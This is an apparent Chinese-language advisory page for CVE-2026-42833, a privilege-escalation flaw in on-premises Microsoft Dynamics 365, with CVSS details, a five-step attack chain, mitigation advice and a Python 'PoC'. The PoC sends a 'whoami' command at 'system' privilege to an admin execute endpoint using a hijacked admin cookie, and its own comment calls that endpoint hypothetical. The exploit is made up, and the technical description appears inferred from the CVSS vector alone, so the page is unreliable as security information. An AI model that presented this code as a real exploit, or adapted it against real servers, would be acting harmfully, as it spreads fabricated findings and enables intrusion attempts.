CVE-2026-42833 Microsoft Dynamics 365 权限提升漏洞

漏洞信息

漏洞编号

CVE-2026-42833

漏洞类型

权限提升

CVSS评分

9.1 严重

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Microsoft Dynamics 365 (on-premises)

漏洞概述

Microsoft Dynamics 365 (本地部署) 版本中存在一个严重的安全漏洞，该漏洞涉及不必要的权限执行问题。由于该漏洞，拥有高权限的授权攻击者可以利用网络接口，在目标系统上执行任意代码。此漏洞可能导致系统机密性、完整性和可用性完全受损，攻击者无需用户交互即可利用此缺陷，对服务器安全构成极高威胁。

技术细节

该漏洞源于 Microsoft Dynamics 365 (on-premises) 未能正确隔离或限制应用程序上下文内的权限。虽然需要高权限 (PR:H)，但应用程序允许具有这些权限的用户执行超出其预期范围的代码或命令，可能跨越安全边界 (S:C)。攻击者首先通过身份验证获得高权限账户（如管理员）。随后，他们向特定的 API 端点发送特制的数据包或请求，利用权限验证逻辑的缺陷，欺骗系统以提升的权限上下文执行恶意代码。由于无需用户交互 (UI:N) 且攻击复杂度低 (AC:L)，攻击者可自动化此过程，通过网络在服务器端完全控制受影响的应用程序和底层系统。

攻击链分析

STEP 1

Reconnaissance

Identify the target Microsoft Dynamics 365 (on-premises) server and confirm it is a vulnerable version.

STEP 2

Initial Access

Authenticate to the application using a high-privileged account (PR:H requirement).

STEP 3

Exploitation

Send a specially crafted network request to a vulnerable API endpoint that fails to properly check privilege context.

STEP 4

Execution

The server executes the arbitrary code with unnecessary elevated privileges due to the logic flaw.

STEP 5

Impact

Attacker gains control over the system, affecting Confidentiality, Integrity, and Availability (C:H/I:H/A:H).

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit Title: Microsoft Dynamics 365 (on-premises) Privilege Escalation / RCE
# Date: 2026-05-12
# Exploit Author: Analyst
# Vendor Homepage: https://www.microsoft.com
# Version: Microsoft Dynamics 365 (on-premises)
# CVE: CVE-2026-42833

def exploit(target_url, attacker_cookie):
    """
    Proof of Concept for CVE-2026-42833.
    Demonstrates executing code with unnecessary privileges.
    Requires a high-privileged authenticated session.
    """
    headers = {
        "Cookie": attacker_cookie,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
    }
    
    # Payload to execute arbitrary command (e.g., whoami)
    # This endpoint is hypothetical based on the vulnerability description
    payload = {
        "command": "whoami",
        "privilege_level": "system"  # Exploiting unnecessary privilege execution
    }
    
    vuln_endpoint = f"{target_url}/api/v1.0/admin/execute"
    
    try:
        response = requests.post(vuln_endpoint, headers=headers, json=payload, verify=False)
        if response.status_code == 200:
            print("[+] Exploit successful!")
            print("[+] Command output:")
            print(response.text)
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "https://target-dynamics-server.com"
    # High-privileged session cookie is required (PR:H)
    cookie = "SessionId=ADMIN_SESSION_TOKEN_HERE" 
    exploit(target, cookie)

影响范围

Microsoft Dynamics 365 (on-premises)

防御指南

临时缓解措施

临时缓解措施包括严格限制对 Microsoft Dynamics 365 (on-premises) 服务器的网络访问，仅允许受信任的 IP 地址连接。此外，应立即审查并减少拥有高权限的用户账户数量，确保遵循最小权限原则。建议密切关注微软官方安全更新指南，并在补丁发布后第一时间进行安装。